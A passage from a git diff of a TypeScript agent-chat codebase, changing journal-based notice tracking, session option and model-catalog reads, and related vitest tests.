keys only. */ +export class StructuredNativeResponses { + readonly recovery = new StructuredAccountRecovery() + private readonly queued = new StructuredQueuedNativeResponses() + private readonly signedOutFences = new Set() + private cursor: AgentJournalCursor | null = null + private executionFence: number | undefined + private readonly submissionKeys = new Map() + private readonly notices = new Map() + private readonly turns = new Map>() + private readonly resolved = new Set() + private readonly pending = new Set() + private readonly noticesByUser = new Map>() + + read( + journal: AgentSessionJournal, + executionFence?: number + ): { + pending: Iterable + disposed: ReadonlySet + } { + const next = journal.cursor() + const fenceChanged = this.executionFence !== executionFence + if ( + !fenceChanged && + this.cursor?.epoch === next.epoch && + this.cursor.sequence === next.sequence + ) { + return this.result() + } + const changes = this.cursor ? journal.readSince(this.cursor) : null + if (!changes?.ok) { + this.recovery.reset() + this.signedOutFences.clear() + this.submissionKeys.clear() + this.notices.clear() + this.turns.clear() + this.resolved.clear() + this.pending.clear() + this.noticesByUser.clear() + for (const submission of journal.submissions()) { + this.observeSubmission(journal, submission.clientMessageId) + } + journal.visitItemsWithLinkage((id, _sequence, body, item) => + this.observe(journal, id, body, item) + ) + this.queued.reset(journal) + } else { + for (const row of changes.rows) { + if (row.kind === 'outcome') { + this.changedOutcome(journal, row) + } else { + this.changed(journal, row) + } + } + if (changes.rows.some(rewritesHistory)) { + this.recovery.reset() + for (const submission of journal.submissions()) { + this.recovery.submission(submission) + } + journal.visitItemsWithLinkage((id) => { + const item = journal.item(id) + if (item) { + this.recovery.item(journal, item) + } + }) + } + } + if (executionFence !== undefined && (fenceChanged || !changes?.ok)) { + this.disposeEndedExecution(journal, executionFence) + } + this.executionFence = executionFence + this.recovery.ready() + this.cursor = next + return this.result() + } + + private changed(journal: AgentSessionJournal, row: JournalRow): void { + this.queued.changed(journal, row) + if (row.kind === 'submission' || row.kind === 'dispatch') { + this.observeSubmission(journal, row.clientMessageId) + } else if (row.kind === 'item' || row.kind === 'tombstone') { + if (row.kind === 'tombstone' && row.retireSubmission) { + const identity = parseAgentJournalItemKey(row.itemId) + if (identity?.provider === 'orca') { + this.disposeNotice(identity.clientMessageId) + } + } + this.observeKey(journal, row.itemId) + } else if (row.kind === 'lifecycle-batch') { + for (const mutation of row.mutations) { + this.observeKey(journal, mutation.itemId) + } + } + } + + /** An outcome sequence names touched keys; each is re-read at its current value, as typed rows were. */ + private changedOutcome(journal: AgentSessionJournal, row: JournalOutcomeReadRow): void { + for (const id of row.queueCardIds) { + this.queued.changedCard(journal, id) + } + for (const clientMessageId of row.submissionIds) { + // Only a rewind retiring an Orca send deletes a submission: the typed tombstone's retireSubmission. + if (row.deleted.submissionIds.includes(clientMessageId)) { + this.disposeNotice(clientMessageId) + } else { + this.observeSubmission(journal, clientMessageId) + } + } + for (const itemId of row.itemIds) { + this.observeKey(journal, itemId) + } + } + + private observeKey(journal: AgentSessionJournal, key: string): void { + const item = journal.item(journal.canonicalItemId(key)) + if (item) { + const clientMessageId = this.submissionKeys.get(journal.canonicalItemId(key)) + if (clientMessageId) { + this.observeSubmission(journal, clientMessageId) + } + this.observe(journal, key, item.body, item) + } + } + + private observe( + journal: AgentSessionJournal, + key: string, + body: AgentJournalItemBody, + item: Pick + ): void { + if (!isRootAgentJournalItem(item)) { + return + } + const rendered = journal.item(journal.canonicalItemId(key)) + if (rendered) { + this.recovery.item(journal, rendered) + } + if ( + body.kind === 'status' && + readWholeAgentSessionFailureFact(body.failure)?.kind === 'notSignedIn' + ) { + const fence = journal.itemFence(key) + if (fence !== undefined) { + this.signedOutFences.add(fence) + } + } + if (isAgentSessionContextClear(body) && body.kind === 'status' && body.contextClear) { + for (const notice of this.notices.values()) { + if (notice.fence <= body.contextClear.afterFence) { + for (const message of notice.messages) { + this.resolved.add(message) + this.pending.delete(message) + } + this.notices.delete(notice.clientMessageId) + } + } + } + const source = body.kind === 'message' ? body.from?.orchestration : undefined + if (source?.message === 'mail-notice') { + const clientMessageId = this.submissionKeys.get(journal.canonicalItemId(key)) + if (clientMessageId) { + this.notices.set(clientMessageId, { + clientMessageId, + fence: identityFence(journal, clientMessageId), + mailbox: source.mailbox, + messages: source.messages.map((message) => message.messageId) + }) + this.observeSubmission(journal, clientMessageId) + } + } + const turn = readAgentJournalTurn(body) + if (turn?.userItemId) { + const user = journal.canonicalItemId(turn.userItemId) + const keys = this.turns.get(user) ?? new Set() + keys.add(key) + this.turns.set(user, keys) + for (const clientMessageId of this.noticesByUser.get(user) ?? []) { + this.observeSubmission(journal, clientMessageId) + } + } + } + + private observeSubmission(journal: AgentSessionJournal, clientMessageId: string): void { + const submission = journal.submission(clientMessageId) + this.recovery.submission(submission) + const rendered = journal.item( + journal.canonicalItemId(agentJournalSubmissionKey(clientMessageId)) + ) + if (rendered) { + this.recovery.item(journal, rendered) + } + if ( + submission?.dispatchState === 'rejected' && + readWholeAgentSessionFailureFact(submission.rejection)?.kind === 'notSignedIn' + ) { + this.signedOutFences.add(submission.fence) + } + this.submissionKeys.set( + journal.canonicalItemId(agentJournalSubmissionKey(clientMessageId)), + clientMessageId + ) + const body = journal.itemBody(agentJournalSubmissionKey(clientMessageId)) + const source = body?.kind === 'message' ? body.from?.orchestration : undefined + if (source?.message === 'mail-notice' && !this.notices.has(clientMessageId)) { + this.notices.set(clientMessageId, { + clientMessageId, + fence: identityFence(journal, clientMessageId), + mailbox: source.mailbox, + messages: source.messages.map((message) => message.messageId) + }) + } + const notice = this.notices.get(clientMessageId) + if (!notice || !submission) { + return + } + const user = journal.canonicalItemId(agentJournalSubmissionKey(clientMessageId)) + const clients = this.noticesByUser.get(user) ?? new Set() + clients.add(clientMessageId) + this.noticesByUser.set(user, clients) + for (const message of notice.messages) { + if (!this.resolved.has(message)) { + this.pending.add(message) + } + } + const terminal = [...(this.turns.get(user) ?? [])].some((key) => { + const turn = readAgentJournalTurn(journal.itemBody(key) ?? undefined) + // Ending this exact turn disposes its account ownership, without claiming unknown/failed output succeeded. + return turn !== null && turn.state !== 'running' + }) + if ( + terminal || + submission.dispatchState === 'rejected' || + (submission.dispatchState === 'unknown' && submission.recovered === true) + ) { + for (const message of notice.messages) { + this.resolved.add(message) + this.pending.delete(message) + } + clients.delete(clientMessageId) + this.notices.delete(clientMessageId) + } + } + + /** Ended generations keep main's handed-over/no-reply disposition; unhanded input still owns a future response. */ + private disposeEndedExecution(journal: AgentSessionJournal, fence: number): void { + for (const notice of this.notices.values()) { + const submission = journal.submission(notice.clientMessageId) + if (submission && submission.fence !== fence && !isQueuedAgentJournalSubmission(submission)) { + this.disposeNotice(notice.clientMessageId) + } + } + } + + private disposeNotice(clientMessageId: string): void { + const notice = this.notices.get(clientMessageId) + for (const message of notice?.messages ?? []) { + this.resolved.add(message) + this.pending.delete(message) + } + this.notices.delete(clientMessageId) + } + + signedOut(fence: number): boolean { + return this.signedOutFences.has(fence) + } + + private result() { + return { + pending: this.queued.pendingWith(this.pending, this.resolved), + disposed: this.resolved + } + } +} + +function identityFence(journal: AgentSessionJournal, clientMessageId: string): number { + return journal.submission(clientMessageId)?.fence ?? 0 +} + +/** Provider history was rewritten: a tombstone outside Stop/resume marks, or an outcome sequence that deleted an item. */ +function rewritesHistory(row: JournalReadRow): boolean { + if (row.kind === 'outcome') { + return row.deleted.itemIds.length > 0 + } + return ( + (row.kind === 'tombstone' && !isJournalStopOrResumeRow(row)) || + (row.kind === 'lifecycle-batch' && row.mutations.some((item) => item.kind === 'tombstone')) + ) +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts index 5642a0fc26e..d6b260f364b 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-newer-content-host.test.ts @@ -95,85 +95,6 @@ async function relaunch(): Promise { return host } -const NEWER_APPROVAL: AgentJournalItemBody = JSON.parse( - JSON.stringify({ - kind: 'approval', - title: 'Review proposed change', - detail: null, - subject: { kind: 'diff', path: 'a.ts', text: 'not a plan' }, - options: [{ id: 'allow', label: 'Approve' }], - resolution: { state: 'pending', selectedOptionId: null, resolvedBy: null, resolvedAt: null } - }) -) - -it("settles a newer Orca's pending approval as it was, and the chat takes its next message", async () => { - await attach() - emit(7, NEWER_APPROVAL) - const host = await relaunch() - - expect(await send(host, 'after the newer approval')).toMatchObject({ ok: true }) - await vi.waitFor(() => expect(hostTestState().dispatch).toHaveBeenCalled()) - - const approval = (await historyBodies(host)).find((body) => body.kind === 'approval') - expect(approval).toMatchObject({ - subject: { kind: 'diff', path: 'a.ts', text: 'not a plan' }, - resolution: { state: 'cancelled' } - }) - await host.flushAllStreamedEvents() -}) - -// A newer background approval can block queues forever; a direct send starts the turn that cancels it. -it("takes a send past a newer Orca's live approval, and the next turn's card cancel settles it", async () => { - // Model providers whose card Cancel requires the live turn’s Stop path. - const dismissPrompt = vi.fn(async ({ commit }: { commit: () => Promise }) => commit()) - Object.assign(hostTestState().host.deps.adapter, { - routePromptCancel: () => ({ kind: 'stop' }), - dismissPrompt - }) - await attach() - emit(7, NEWER_APPROVAL) - const { host } = hostTestState() - await host.flushStreamedEvents(SESSION) - - const body = hostTestMessage('queued behind it') - const queuedFields = { body, delivery: 'queue-if-active' as const } - expect( - await host.send(CALLER, { - envelope: envelope('agentSession.send', queuedFields), - ...queuedFields - }) - ).toMatchObject({ ok: true, value: { queued: { state: 'waiting' } } }) - expect(hostTestState().dispatch).not.toHaveBeenCalled() - - const sent = await send(host, 'carry on') - expect(sent).toMatchObject({ ok: true, value: { submission: expect.any(Object) } }) - await vi.waitFor(() => expect(hostTestState().dispatch).toHaveBeenCalledOnce()) - providerEvents().appendItem( - { provider: 'codex', threadId: THREAD, turnId: 'turn-2', ordinal: 8 }, - { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: NOW }, - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await host.flushStreamedEvents(SESSION) - - const card = (await host.journalSnapshot(SESSION)).items.find( - (item) => item.body.kind === 'approval' - )! - const fields = { - turnId: 'turn-2', - prompt: { itemId: card.itemId, expectedRevision: card.revision } - } - expect( - await host.cancel(CALLER, { envelope: envelope('agentSession.cancel', fields), ...fields }) - ).toMatchObject({ ok: true }) - expect(dismissPrompt).toHaveBeenCalledWith(expect.objectContaining({ answer: true })) - expect(hostTestState().cancelTurn).not.toHaveBeenCalled() - expect((await historyBodies(host)).find((entry) => entry.kind === 'approval')).toMatchObject({ - subject: { kind: 'diff' }, - resolution: { state: 'cancelled' } - }) - await host.flushAllStreamedEvents() -}) - it('ends a turn whose provider output would not read back as failed, and the next send works', async () => { const closeSession = vi.fn(async () => true) Object.assign(hostTestState().host.deps.adapter, { closeSession }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-option-intent.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-option-intent.ts index 8f3a4ab6d96..182d6fa5686 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-option-intent.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-option-intent.ts @@ -1,3 +1,7 @@ +import { + IN_PROCESS_OPTIONS_READER, + type StructuredAgentSessionOptionsReader +} from './structured-agent-session-resting-options' import { refuse, type AgentSessionOptionResult } from '../../../shared/agent-session-wire' import { AGENT_CHAT_PERMISSION_MODE_OPTION_ID, @@ -56,7 +60,8 @@ export async function recordStructuredAgentSessionOptionIntent( adapter?: Pick } & Parameters[0], ctx: Pick, - input: { key: string; value: string } + input: { key: string; value: string }, + reader: StructuredAgentSessionOptionsReader = IN_PROCESS_OPTIONS_READER ): Promise> { const { sessionId, fence } = ctx const record = deps.store.getRecord(sessionId) @@ -70,6 +75,9 @@ export async function recordStructuredAgentSessionOptionIntent( ) } } + if (!reader.readsWithoutModel && input.key === 'model' && input.value === '') { + return { ok: true, value: { key: input.key, value: input.value, options: {} } } + } let options: Readonly> if (input.key === AGENT_CHAT_PERMISSION_MODE_OPTION_ID) { const permissionMode = input.value diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-option-observation.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-option-observation.ts new file mode 100644 index 00000000000..4f9091f2262 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-option-observation.ts @@ -0,0 +1,33 @@ +import type { AgentSessionOptionResult } from '../../../shared/agent-session-wire' + +/** A same-build caller in this process reads as the RPC gate treats one: it takes no model. */ +export const IN_PROCESS_OPTIONS_READER = { + readsWithoutModel: true +} + +export function readNoChoiceOptionResult( + result: unknown, + request: { key: string; value: string } +): AgentSessionOptionResult | null { + if ( + typeof result !== 'object' || + result === null || + !('version' in result) || + result.version !== 1 || + !('key' in result) || + result.key !== 'model' || + result.key !== request.key || + !('value' in result) || + result.value !== '' || + result.value !== request.value || + Object.keys(result).length !== 4 || + !('options' in result) || + typeof result.options !== 'object' || + result.options === null || + Object.getPrototypeOf(result.options) !== Object.prototype || + Object.keys(result.options).length !== 0 + ) { + return null + } + return { key: result.key, value: result.value, options: {} } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-option-refresh.test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-option-refresh.test-fixture.ts index 89fbcf76315..94d2c59030a 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-option-refresh.test-fixture.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-option-refresh.test-fixture.ts @@ -13,6 +13,7 @@ import type { AgentModelCatalogService } from '../agent-model-catalog/agent-mode import type { StructuredAgentSessionMutationContext } from './structured-agent-session-host-mutations' import type { StructuredAgentSessionLiveOptions } from './structured-agent-session-option-models' import { + hostTestCatalogReadOperation, hostTestRestingOptionsRecord, hostTestRestingOptionsJournal, hostTestOptionsReadStore @@ -42,7 +43,7 @@ export function piOptionRefreshHost(sessionId = 'session-1') { } const row = { id: record.options.model, label: 'Model', isDefault: false, efforts: gap } let live: StructuredAgentSessionLiveOptions | null = null - let modelCatalog: Pick | null = null + let modelCatalog: Pick | null = null const requests: ReturnType>[] = [] const host = { record, @@ -53,10 +54,10 @@ export function piOptionRefreshHost(sessionId = 'session-1') { set live(value: StructuredAgentSessionLiveOptions | null) { live = value }, - get modelCatalog(): Pick | null { + get modelCatalog(): Pick | null { return modelCatalog }, - set modelCatalog(value: Pick | null) { + set modelCatalog(value: Pick | null) { modelCatalog = value }, hostReads: 0, @@ -100,6 +101,7 @@ export function piOptionRefreshHost(sessionId = 'session-1') { agents: { definition: () => null, capabilities: () => null }, store: hostTestOptionsReadStore(() => record), modelCatalog: host.modelCatalog ?? { + captureRead: hostTestCatalogReadOperation, read: async (params: { savedOnly?: boolean }) => { expect(params.savedOnly).toBe(true) host.catalogReads += 1 diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read-scaling.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read-scaling.test.ts index c56e09f39b6..54a0dadc918 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read-scaling.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read-scaling.test.ts @@ -1,4 +1,5 @@ import { describe, expect, it, vi } from 'vitest' +import { hostTestCatalogReadOperation } from './structured-agent-session-host-test-data' import { agentSessionConversationView } from '../../../shared/agent-session-conversation-view' import type { AgentSessionModelOption } from '../../../shared/agent-session-wire' import { createAgentModelCatalogService } from '../agent-model-catalog/agent-model-catalog-service' @@ -103,6 +104,7 @@ it('pairs the latest saved input with its report only after the resting read com const catalog = Promise.withResolvers['read']>>>() host.modelCatalog = { + captureRead: hostTestCatalogReadOperation, read: () => { entered.resolve() return catalog.promise diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.accepted-inputs.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.accepted-inputs.test.ts index d9cd7903c17..786074c5a5f 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.accepted-inputs.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.accepted-inputs.test.ts @@ -21,6 +21,7 @@ import { import { expect, it, vi } from 'vitest' import { + hostTestCatalogReadOperation, hostTestRestingOptionsRecord as restingRecord, HOST_TEST_RESTING_OPTIONS_CREATED_LINKS as created, hostTestRestingOptionsJournal as restingJournal, @@ -193,7 +194,10 @@ it.each([false, true])( current: { model: 'opus[1m]', effort: 'high', confirmed: ['model', 'effort'] } }) }, - modelCatalog: { read: async () => ({ origin: 'probe', fetchedAt: 1, models }) }, + modelCatalog: { + captureRead: hostTestCatalogReadOperation, + read: async () => ({ origin: 'probe', fetchedAt: 1, models }) + }, agents: NO_STRUCTURED_AGENTS, store: hostTestOptionsReadStore(() => record) }, diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.inventory.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.inventory.test.ts index ecc03d470ba..bb30a46f3a5 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.inventory.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.inventory.test.ts @@ -13,6 +13,7 @@ import type { AgentSessionModelCatalogResult } from '../../../shared/agent-sessi import type { StructuredAgentSessionLiveOptions } from './structured-agent-session-adapter' import type { StructuredAgentSessionMutationContext } from './structured-agent-session-host-mutations' import { + hostTestCatalogReadOperation, hostTestOptionsReadStore, hostTestRestingOptionsJournal, hostTestRestingOptionsRecord @@ -35,7 +36,7 @@ it('marks unknown resting inventory but preserves completed empty live and resti adapter: { readOptions: async () => live }, agents: NO_STRUCTURED_AGENTS, store: hostTestOptionsReadStore(() => record), - modelCatalog: { read: async () => inventory } + modelCatalog: { captureRead: hostTestCatalogReadOperation, read: async () => inventory } }, serialize: (_id: string, task: () => Promise) => task(), openConversation: async () => session(), diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.test.ts index 38b5821737a..517f3df1b58 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.test.ts @@ -1,3 +1,10 @@ +import { + hostTestCatalogReadOperation, + hostTestRestingOptionsRecord as restingRecord, + HOST_TEST_RESTING_OPTIONS_CREATED_LINKS as created, + hostTestRestingOptionsJournal as restingJournal, + hostTestOptionsReadStore +} from './structured-agent-session-host-test-data' import { CODEX_SESSION_OPTION_CATALOG } from '../../../shared/agent-session-option-catalog-claude-codex' import { structuredAgentSessionMessageSelection, @@ -26,12 +33,6 @@ import { import type { StructuredAgentSessionLiveOptions } from './structured-agent-session-adapter' import { describe, expect, it, vi } from 'vitest' import type { AgentSessionRecord } from '../../../shared/agent-session-record' -import { - hostTestRestingOptionsRecord as restingRecord, - HOST_TEST_RESTING_OPTIONS_CREATED_LINKS as created, - hostTestRestingOptionsJournal as restingJournal, - hostTestOptionsReadStore -} from './structured-agent-session-host-test-data' import type { AgentJournalItemBody } from '../../../shared/agent-session-journal-types' import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' import type { AgentSessionModelOption } from '../../../shared/agent-session-wire' @@ -39,18 +40,12 @@ import { createAgentModelCatalogService, type AgentModelCatalogService } from '../agent-model-catalog/agent-model-catalog-service' -import { - AgentModelCatalogStore, - type AgentModelCatalogSuccess -} from '../agent-model-catalog/agent-model-catalog-store' +import { AgentModelCatalogStore } from '../agent-model-catalog/agent-model-catalog-store' import type { StructuredAgentSessionMutationContext } from './structured-agent-session-host-mutations' import { readStructuredAgentSessionOptions, recordStructuredAgentSessionOptionIntent } from './structured-agent-session-options-read' -import { AcpStructuredOptions } from '../../acp/acp-structured-options' -import { GROK_CONFIG_OPTIONS } from '../../acp/acp-structured-adapter.test-support' -import { SessionConfigOptionSchema } from '../../acp/generated/acp-protocol.generated' import { withLiveCatalogListing } from '../agent-model-catalog/agent-model-catalog-entry' import { StructuredAgentSessionTaskQueue } from './structured-agent-session-task-queue' import { agentModelCatalogFingerprintForRecord } from '../agent-model-catalog/agent-model-catalog-fingerprint' @@ -71,178 +66,6 @@ type RestingFacts = Pick< 'options' | 'provider' | 'providerHandleChain' | 'rewind' > -describe('options at rest', () => { - it('keeps the account model for an older client when the starting child has no folder default', async () => { - const record = restingRecord() - const read = vi.fn(async (params: { inSessionWorkspace?: true }) => ({ - origin: 'probe' as const, - models: [ - { - id: params.inSessionWorkspace ? 'gpt-folder' : 'gpt-account', - label: 'Model', - isDefault: !params.inSessionWorkspace, - efforts: [] - } - ], - fetchedAt: 1 - })) - const starting = { - child: { phase: 'starting' }, - params: { provider: 'codex' }, - journal: restingJournal() - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this read touches only the declared context fields. - const context = { - deps: { - adapter: {}, - agents: NO_STRUCTURED_AGENTS, - store: hostTestOptionsReadStore(() => record), - modelCatalog: { read } - }, - serialize: (_sessionId: string, task: () => Promise) => task(), - openConversation: async () => starting, - conversation: async () => starting - } as unknown as StructuredAgentSessionMutationContext - - const current = await readStructuredAgentSessionOptions(context, SESSION, { - readsWithoutModel: true - }) - expect(current.current).toMatchObject({ - defaulted: [], - permissionMode: 'ask', - acceptedInputSources: {} - }) - expect(read).toHaveBeenCalledTimes(2) - const older = await readStructuredAgentSessionOptions(context, SESSION, { - readsWithoutModel: false - }) - expect(older.current).toMatchObject({ - acceptedInputSources: { model: 'policy' }, - model: 'gpt-account', - defaulted: [], - permissionMode: 'ask' - }) - expect(read).toHaveBeenCalledWith({ - agent: 'codex', - sessionId: SESSION, - savedOnly: true, - legacyOptionsDisplay: true, - workspacePath: null - }) - }) - - it('keeps a saved Codex model when the host listing drops it', async () => { - const record = { ...restingRecord(), options: { model: 'gpt-unlisted', effort: 'high' } } - const listed = { id: 'gpt-5.5', label: 'GPT-5.5', isDefault: true, efforts: [] } - let live = false - const conversation = () => ({ - child: live ? { fence: 7 } : null, - params: { provider: 'codex' }, - journal: restingJournal() - }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this read touches only the declared context fields. - const context = { - deps: { - adapter: { - readOptions: async () => ({ - models: [listed, { ...listed, id: 'gpt-unlisted', isDefault: false }], - current: { model: 'gpt-5.5', effort: 'high', defaulted: ['model'] } - }) - }, - agents: NO_STRUCTURED_AGENTS, - store: hostTestOptionsReadStore(() => record), - modelCatalog: { read: async () => ({ origin: 'probe', models: [listed], fetchedAt: 1 }) } - }, - serialize: (_sessionId: string, task: () => Promise) => task(), - openConversation: async () => conversation(), - conversation: async () => conversation() - } as unknown as StructuredAgentSessionMutationContext - const read = () => - readStructuredAgentSessionOptions(context, SESSION, { readsWithoutModel: true }) - const resting = await read() - live = true - const running = await read() - expect(running.listedModelIds).toEqual(resting.listedModelIds) - expect(resting.listedModelIds).toEqual(['gpt-5.5']) - expect(resting.current).toMatchObject({ model: 'gpt-unlisted', defaulted: [] }) - expect(running.current).toMatchObject({ model: 'gpt-unlisted', defaulted: [] }) - for (const answer of [resting, running]) { - expect(answer.current.acceptedInputSources).toMatchObject({ model: 'saved', effort: 'saved' }) - } - }) - - it.each(['omp', 'grok', 'opencode'] as const)( - '%s keeps an unknown model and learns menus from qualified reports', - async (provider) => { - const record = { ...restingRecord(), provider } - const probe = vi.fn(() => new Promise(() => {})) - const modelCatalog = createAgentModelCatalogService({ - store: new AgentModelCatalogStore(), - ...hostTestOptionsReadStore(() => record), - drivesRecord: () => true, - resolveAccountHome: async () => ({ variable: 'CODEX_HOME', path: '/homes/a' }), - probes: { codex: probe } - }) - let live = false - const reader = new AcpStructuredOptions() - const configOptions = SessionConfigOptionSchema.array().parse(GROK_CONFIG_OPTIONS) - const resting = { - child: null, - params: { provider: 'codex' }, - journal: restingJournal() - } - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: options reads touch only these context members. - const context = { - deps: { - adapter: { readOptions: async () => withLiveCatalogListing(reader.read()) }, - agents: NO_STRUCTURED_AGENTS, - store: hostTestOptionsReadStore(() => record), - modelCatalog - }, - serialize: (_sessionId: string, task: () => Promise) => task(), - openConversation: async () => (live ? { ...resting, child: { fence: 7 } } : resting), - conversation: async () => resting - } as unknown as StructuredAgentSessionMutationContext - - const read = () => - readStructuredAgentSessionOptions(context, SESSION, { readsWithoutModel: true }) - const result = await read() - expect(probe).not.toHaveBeenCalled() - expect(result.models).toEqual([]) - expect(result.current).not.toHaveProperty('model') - record.options = { model: 'later-model', effort: 'off' } - // Unregistered agents must not report a permission mode. - expect((await read()).current).toMatchObject({ - model: 'later-model', - effort: 'off', - acceptedInputSources: { model: 'saved', effort: 'saved' }, - defaulted: [] - }) - for (const emptyStart of [false, true]) { - modelCatalog.recordLiveListing(SESSION, { - models: [{ id: 'old', label: 'Old', isDefault: true, efforts: [] }] - }) - reader.adoptSession(emptyStart ? {} : { configOptions }) - modelCatalog.recordLiveListing(SESSION, reader.startListing()) - reader.adoptConfigOptions( - configOptions.map((option) => - option.type === 'select' && option.category === 'model' - ? { ...option, currentValue: 'grok-4.6' } - : option - ) - ) - record.options = { model: 'grok-4.6', effort: 'high' } - live = true - await read() - modelCatalog.recordLiveListing(SESSION, { models: reader.read().models }) - live = false - const answer = await read() - expect(answer.models).toEqual(reader.read().models) - } - } - ) -}) - describe('a chat at rest, read by the host', () => { const turn: AgentJournalItemBody = { kind: 'turn', turnId: 'turn-1', state: 'completed' } const fast = [{ value: 'priority', label: 'Fast' }] @@ -252,6 +75,7 @@ describe('a chat at rest, read by the host', () => { { id: 'gpt-flex', label: 'Flex', isDefault: false, efforts: [], serviceTiers: flex } ] const catalog = (models: AgentSessionModelOption[] | null = listed, verified = true) => ({ + captureRead: hostTestCatalogReadOperation, read: async (params?: { verifiedOnly?: boolean }) => models === null || (!verified && params?.verifiedOnly) ? { origin: 'unknown' as const } @@ -264,7 +88,7 @@ describe('a chat at rest, read by the host', () => { models: AgentSessionModelOption[] | null = listed, verified = true, liveOptions?: StructuredAgentSessionLiveOptions, - modelCatalog: Pick = catalog(models, verified) + modelCatalog: Pick = catalog(models, verified) ) { const record = { ...restingRecord(), ...facts } const resting = { @@ -501,7 +325,7 @@ describe('a chat at rest, read by the host', () => { [{ id: 'opus[1m]', label: 'Opus', isDefault: true, efforts: [] }], 'opus[1m]' ], - ['unknown list', null, 'sonnet'], + ['unknown list', null, undefined], ['known empty', [], undefined], [ 'known without default', diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.ts index 07bc7f53c44..550cef45fdb 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-options-read.ts @@ -1,3 +1,5 @@ +import { structuredAgentSessionCatalogScopeOwned } from './structured-agent-session-catalog-reads' +import { withinAgentModelCatalogRead } from '../agent-model-catalog/agent-model-catalog-operation' import { AGENT_MODEL_CATALOG_PICKER_WAIT_MS } from '../agent-model-catalog/agent-model-catalog-listing-waiters' import { independentAgentModelCatalog } from '../agent-model-catalog/agent-model-catalog-discovery' import { @@ -41,27 +43,55 @@ export async function readStructuredAgentSessionOptions( ? reader : { ...reader, deadline: reader.deadline ?? Date.now() + AGENT_MODEL_CATALOG_PICKER_WAIT_MS } const { adapter, agents, store } = context.deps + const operation = context.deps.modelCatalog?.captureRead({ + agent: context.deps.store.getConversation(sessionId)?.provider ?? '', + sessionId, + savedOnly: reader.readsWithoutModel, + deadline: reader.deadline + }) const readCurrent = (allowJoin: boolean) => context.serialize(sessionId, async () => { const session = await context.openConversation(sessionId).catch((error: unknown) => { throw journalOpenReadRefusal(error, context.deps.logger, sessionId) }) const child = session?.child - if (!child || child.phase === 'starting') { - return { kind: 'rest' as const } - } - if (!adapter.readOptions) { + if (child && child.phase !== 'starting' && !adapter.readOptions) { throw new Error('structured_agent_session_options_unsupported') } - const pending = allowJoin ? context.deliveryOrder?.optionsReady(sessionId) : undefined + const pending = + child && child.phase !== 'starting' && allowJoin + ? context.deliveryOrder?.optionsReady(sessionId) + : undefined if (pending) { - return { kind: 'pending' as const, pending } + return { kind: 'pending' as const, pending, records: undefined } + } + const observed = + child && child.phase !== 'starting' + ? await adapter.readOptions?.({ sessionId, fence: child.fence }) + : undefined + const scope = () => + structuredAgentSessionCatalogScopeOwned( + context.deps, + { + agent: context.deps.store.getConversation(sessionId)?.provider ?? '', + sessionId + }, + session ?? undefined + ) + const records = context.deps.modelCatalog + ? operation + ? await withinAgentModelCatalogRead(operation, scope) + : await scope() + : undefined + if (!child || child.phase === 'starting') { + return { kind: 'rest' as const, records } } return { kind: 'live' as const, + records, session, child, - options: await adapter.readOptions({ sessionId, fence: child.fence }) + options: observed ?? null } }) let started = await readCurrent(true) @@ -69,11 +99,17 @@ export async function readStructuredAgentSessionOptions( await started.pending.catch(() => undefined) started = await readCurrent(false) } + const catalogScope = { records: started?.records ?? null, operation } const live: StructuredAgentSessionLiveOptions | null = - started.kind === 'live' ? started.options : null + started?.kind === 'live' ? started.options : null let rested: RestingOptions | undefined const atRest = async (): Promise => - (rested ??= await readStructuredAgentSessionOptionsAtRest(context.deps, sessionId, reader)) + (rested ??= await readStructuredAgentSessionOptionsAtRest( + context.deps, + sessionId, + reader, + catalogScope + )) let options: Omit if (live) { const { catalogListing, effortFixed: _fixed, projectCurrent: _project, ...answer } = live diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.test.ts index 2b8d88d3ce4..16f4238c3a5 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-outgrown-child.test.ts +++ 